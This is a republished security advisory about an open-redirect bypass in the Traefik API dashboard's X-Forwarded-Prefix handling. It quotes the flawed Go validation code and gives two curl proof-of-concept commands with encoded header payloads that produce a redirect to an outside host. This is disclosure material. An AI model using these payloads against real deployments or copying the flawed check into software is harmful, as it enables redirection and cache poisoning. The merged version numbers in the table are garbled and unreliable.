| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/traefik/traefik | all versions | |
| github.com/traefik/traefik/v2 | < 2.11.14 | 2.11.14 |
| github.com/traefik/traefik/v3 | < 3.2.1 | 3.2.1 |
| traefik | ≥ 3.0.0, < 3.2.1< 2.11.14 | 3.2.12.11.14 |
There is a vulnerability in Traefik that allows the client to provide the X-Forwarded-Prefix header from an untrusted source.
No workaround.
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary> ### Summary The previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL.The Traefik API dashboard component tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:
http.Redirect(resp, req, safePrefix(req)+"/dashboard/", http.StatusFound)
func safePrefix(req *http.Request) string {
prefix := req.Header.Get("X-Forwarded-Prefix")
if prefix == "" {
return ""
}
parse, err := url.Parse(prefix)
if err != nil {
return ""
}
return parse.Path
}
An attacker can bypass this by sending the following payload:
curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/
or similar:
curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/
Similar to the previously reported bug. In cache poisoning scenarios this may be exploitable.
</details>Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free